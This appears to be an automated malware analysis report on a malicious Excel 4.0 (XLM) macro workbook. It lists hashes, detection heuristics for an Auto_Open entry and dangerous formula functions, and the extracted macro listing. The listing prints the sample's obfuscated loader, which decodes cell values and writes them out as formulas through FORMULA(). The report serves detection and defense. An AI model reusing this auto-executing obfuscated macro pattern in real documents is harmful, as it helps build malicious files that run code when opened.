Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b3521a9e8967b436…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:40:27 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 9dc59654611c3e2d2e2ec7c33a7bcedb SHA-1: 7b1530038cf66e8358eee6e6915a96176402013d SHA-256: b3521a9e8967b436b847f3707696b797907bace2cf8e240a669143293de6aca7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6436 bytes
SHA-256: fe9f74d610e7396d10e797582c7f4df4738b31a6de14b9b9b3310ee8627ecc72
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YZYnbt
' 0018     21 LABEL : Cell Value, String Constant - aBqyvK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G150 
' 0018     24 LABEL : Cell Value, String Constant - bJOYATqYr len=0 
' 0018     27 LABEL : Cell Value, String Constant - cXXSaxLQQWls len=0 
' 0018     21 LABEL : Cell Value, String Constant - dCWVOI len=0 
' 0018     27 LABEL : Cell Value, String Constant - DVlDEBjTvzBl len=0 
' 0018     25 LABEL : Cell Value, String Constant - fIANsslCuS len=0 
' 0018     25 LABEL : Cell Value, String Constant - gupeMRjIsi len=0 
' 0018     22 LABEL : Cell Value, String Constant - KuuQOeo len=0 
' 0018     26 LABEL : Cell Value, String Constant - LfQLIkQbZQJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - nmRAEns len=0 
' 0018     24 LABEL : Cell Value, String Constant - OXkXFTfPo len=0 
' 0018     22 LABEL : Cell Value, String Constant - PSTrMJE len=0 
' 0018     20 LABEL : Cell Value, String Constant - QTCka len=0 
' 0018     22 LABEL : Cell Value, String Constant - sOJDQLt len=0 
' 0018     20 LABEL : Cell Value, String Constant - UkZmK len=0 
' 0018     26 LABEL : Cell Value, String Constant - VqUKMuPojqW len=0 
' 0018     20 LABEL : Cell Value, String Constant - vYkem len=0 
' 0018     20 LABEL : Cell Value, String Constant - wBnBe len=0 
' 0018     21 LABEL : Cell Value, String Constant - wCPXXY len=0 
' 0018     22 LABEL : Cell Value, String Constant - zHZpQHJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YZYnbt,G59,"SET.NAME("sOJDQLt",VALUE("0"))",""
'  YZYnbt,G64,"SET.NAME("KuuQOeo",sOJDQLt)",""
'  YZYnbt,G68,"SET.NAME("wCPXXY",sOJDQLt)",""
'  YZYnbt,G72,"SET.NAME("UkZmK",COUNTA(QTCka))",""
'  YZYnbt,G77,"SET.NAME("OXkXFTfPo",COUNTA(DVlDEBjTvzBl))",""
'  YZYnbt,G80,[],""
'  YZYnbt,G85,"SET.NAME("fIANsslCuS","")",""
'  YZYnbt,G88,"KuuQOeo",""
'  YZYnbt,G90,"SET.NAME("dCWVOI",HLOOKUP("*",QTCka,KuuQOeo,FALSE))",""
'  YZYnbt,G95,"cXXSaxLQQWls",""
'  YZYnbt,G97,"SET.NAME("vYkem",sOJDQLt)",""
'  YZYnbt,G101,[],""
'  YZYnbt,G104,"vYkem",""
'  YZYnbt,G107,"PSTrMJE",""
'  YZYnbt,G109,"aBqyvK",""
'  YZYnbt,G113,"wBnBe",""
'  YZYnbt,G117,"SET.NAME("zHZpQHJ",VALUE(HLOOKUP("*",DVlDEBjTvzBl,wBnBe,FALSE)))",""
'  YZYnbt,G120,"bJOYATqYr",""
'  YZYnbt,G122,"fIANsslCuS",""
'  YZYnbt,G124,"wCPXXY",""
'  YZYnbt,G127,NEXT(),""
'  YZYnbt,G129,"LfQLIkQbZQJ",""
'  YZYnbt,G133,"SET.NAME("f",INT(T(FORMULA(T(fIANsslCuS)&"",""&T(LfQLIkQbZQJ)))))",""
'  YZYnbt,G138,"nmRAEns",""
'  YZYnbt,G143,NEXT(),""
'  YZYnbt,G145,RETURN(),""
'  YZYnbt,G173,"SET.NAME("VqUKMuPojqW",G59)",""
'  YZYnbt,G175,"QTCka",""
'  YZYnbt,G177,"SET.NAME("DVlDEBjTvzBl",R92C11)",""
'  YZYnbt,G182,"SET.NAME("nmRAEns",191)",""
'  YZYnbt,G186,"SET.NAME("gupeMRjIsi",7)",""
'  YZYnbt,G190,VqUKMuPojqW(),""
'  YZYnbt,G191,HALT(),""